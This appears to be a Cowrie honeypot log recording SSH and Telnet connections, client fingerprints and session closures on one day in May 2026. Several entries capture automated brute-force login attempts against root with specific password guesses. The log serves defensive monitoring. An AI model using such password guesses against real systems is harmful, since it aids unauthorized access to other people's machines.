{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36836,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ec5aa4ea3e","protocol":"ssh","message":"New connection: 103.176.20.57:36836 (159.203.135.109:22) [session: 23ec5aa4ea3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:12.906568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:12.912656Z","src_ip":"103.176.20.57","session":"23ec5aa4ea3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:13.165009Z","src_ip":"103.176.20.57","session":"23ec5aa4ea3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzzz123","message":"login attempt [root/zzzzz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:13.923689Z","src_ip":"103.176.20.57","session":"23ec5aa4ea3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.575923919677734,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:14.764940Z","src_ip":"135.148.14.151","session":"ccd2045edf08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:15.179049Z","src_ip":"103.176.20.57","session":"23ec5aa4ea3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":60682,"dst_ip":"159.203.135.109","dst_port":22,"session":"486cddcf49bb","protocol":"ssh","message":"New connection: 103.15.222.183:60682 (159.203.135.109:22) [session: 486cddcf49bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:23.290758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:23.301257Z","src_ip":"103.15.222.183","session":"486cddcf49bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:23.553719Z","src_ip":"103.15.222.183","session":"486cddcf49bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazzaq123","message":"login attempt [root/qazzaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:24.310341Z","src_ip":"103.15.222.183","session":"486cddcf49bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:25.566385Z","src_ip":"103.15.222.183","session":"486cddcf49bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.16030168533325,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:28.605209Z","src_ip":"135.148.14.151","session":"1ccd19480018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38080334663391,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:30.971158Z","src_ip":"135.148.14.151","session":"2078b8b7e6e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58836,"dst_ip":"159.203.135.109","dst_port":23,"session":"38fdf62182dd","protocol":"telnet","message":"New connection: 135.148.14.151:58836 (159.203.135.109:23) [session: 38fdf62182dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:41.903076Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":40266,"dst_ip":"159.203.135.109","dst_port":22,"session":"4552eb14bac5","protocol":"ssh","message":"New connection: 62.133.63.178:40266 (159.203.135.109:22) [session: 4552eb14bac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:54.713045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:54.718439Z","src_ip":"62.133.63.178","session":"4552eb14bac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:54.848403Z","src_ip":"62.133.63.178","session":"4552eb14bac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kolobok1","message":"login attempt [root/kolobok1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:55.225773Z","src_ip":"62.133.63.178","session":"4552eb14bac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:56.357915Z","src_ip":"62.133.63.178","session":"4552eb14bac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37716,"dst_ip":"159.203.135.109","dst_port":23,"session":"6534e7cf025f","protocol":"telnet","message":"New connection: 135.148.14.151:37716 (159.203.135.109:23) [session: 6534e7cf025f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:58.083537Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51104,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e2de52ca3e7","protocol":"ssh","message":"New connection: 51.250.105.222:51104 (10.17.0.5:22) [session: 8e2de52ca3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:59.547481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:59.552806Z","src_ip":"51.250.105.222","session":"8e2de52ca3e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:03:59.683552Z","src_ip":"51.250.105.222","session":"8e2de52ca3e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:00.073980Z","src_ip":"51.250.105.222","session":"8e2de52ca3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:01.208899Z","src_ip":"51.250.105.222","session":"8e2de52ca3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.29180383682251,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:17.194740Z","src_ip":"135.148.14.151","session":"38fdf62182dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46014,"dst_ip":"159.203.135.109","dst_port":23,"session":"3247e353c984","protocol":"telnet","message":"New connection: 135.148.14.151:46014 (159.203.135.109:23) [session: 3247e353c984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:20.796365Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46498,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a771fe03e63","protocol":"telnet","message":"New connection: 135.148.14.151:46498 (159.203.135.109:23) [session: 4a771fe03e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:21.809266Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53820,"dst_ip":"159.203.135.109","dst_port":23,"session":"274204efc37f","protocol":"telnet","message":"New connection: 135.148.14.151:53820 (159.203.135.109:23) [session: 274204efc37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:35.591582Z"}
{"eventid":"cowrie.session.closed","duration":40.36607480049133,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:38.449495Z","src_ip":"135.148.14.151","session":"6534e7cf025f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.385435342788696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:52.181463Z","src_ip":"135.148.14.151","session":"3247e353c984","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00263786315918,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:53.779556Z","src_ip":"105.209.159.189","session":"b45a5cb9bd00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22392225265503,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:04:55.033050Z","src_ip":"135.148.14.151","session":"4a771fe03e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"495d5b7cf68f","protocol":"telnet","message":"New connection: 135.148.14.151:36450 (159.203.135.109:23) [session: 495d5b7cf68f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:00.628822Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":36146,"dst_ip":"159.203.135.109","dst_port":22,"session":"36820d2656e0","protocol":"ssh","message":"New connection: 87.251.79.125:36146 (159.203.135.109:22) [session: 36820d2656e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:04.432444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:04.438556Z","src_ip":"87.251.79.125","session":"36820d2656e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:04.511202Z","src_ip":"87.251.79.125","session":"36820d2656e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:04.737025Z","src_ip":"87.251.79.125","session":"36820d2656e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:05.848532Z","src_ip":"87.251.79.125","session":"36820d2656e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40750,"dst_ip":"159.203.135.109","dst_port":23,"session":"102ecff334ac","protocol":"telnet","message":"New connection: 135.148.14.151:40750 (159.203.135.109:23) [session: 102ecff334ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:10.373301Z"}
{"eventid":"cowrie.session.closed","duration":36.9976921081543,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:12.589092Z","src_ip":"135.148.14.151","session":"274204efc37f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52084,"dst_ip":"159.203.135.109","dst_port":23,"session":"82e4c372100e","protocol":"telnet","message":"New connection: 135.148.14.151:52084 (159.203.135.109:23) [session: 82e4c372100e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:34.541489Z"}
{"eventid":"cowrie.session.closed","duration":35.90697717666626,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:36.535656Z","src_ip":"135.148.14.151","session":"495d5b7cf68f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.60070085525513,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:05:45.973842Z","src_ip":"135.148.14.151","session":"102ecff334ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34624,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d6a50c9f741","protocol":"telnet","message":"New connection: 135.148.14.151:34624 (159.203.135.109:23) [session: 1d6a50c9f741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:06:04.236529Z"}
{"eventid":"cowrie.session.closed","duration":36.253196001052856,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:06:10.794604Z","src_ip":"135.148.14.151","session":"82e4c372100e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44866,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0f9164d8785","protocol":"telnet","message":"New connection: 135.148.14.151:44866 (159.203.135.109:23) [session: f0f9164d8785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:06:19.171790Z"}
{"eventid":"cowrie.session.closed","duration":31.045483112335205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:06:35.281642Z","src_ip":"135.148.14.151","session":"1d6a50c9f741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59188,"dst_ip":"159.203.135.109","dst_port":23,"session":"90502ba6dd6d","protocol":"telnet","message":"New connection: 135.148.14.151:59188 (159.203.135.109:23) [session: 90502ba6dd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:06:49.046548Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58124,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dcc87e5bfdc","protocol":"telnet","message":"New connection: 135.148.14.151:58124 (159.203.135.109:23) [session: 3dcc87e5bfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:06:49.835772Z"}
{"eventid":"cowrie.session.closed","duration":36.98889636993408,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:06:56.160543Z","src_ip":"135.148.14.151","session":"f0f9164d8785","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39940,"dst_ip":"159.203.135.109","dst_port":23,"session":"07218a1e1258","protocol":"telnet","message":"New connection: 135.148.14.151:39940 (159.203.135.109:23) [session: 07218a1e1258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:07.784978Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39370,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c7939e4358","protocol":"telnet","message":"New connection: 135.148.14.151:39370 (159.203.135.109:23) [session: f4c7939e4358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:09.495477Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43416,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3167129e8c8","protocol":"telnet","message":"New connection: 135.148.14.151:43416 (159.203.135.109:23) [session: d3167129e8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:16.939715Z"}
{"eventid":"cowrie.session.closed","duration":32.691834449768066,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:21.738258Z","src_ip":"135.148.14.151","session":"90502ba6dd6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97320604324341,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:23.808860Z","src_ip":"135.148.14.151","session":"3dcc87e5bfdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53468,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc4740c7328","protocol":"telnet","message":"New connection: 135.148.14.151:53468 (159.203.135.109:23) [session: 6fc4740c7328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:38.288348Z"}
{"eventid":"cowrie.session.closed","duration":35.84377479553223,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:07:43.628640Z","src_ip":"135.148.14.151","session":"07218a1e1258","protocol":"telnet"}
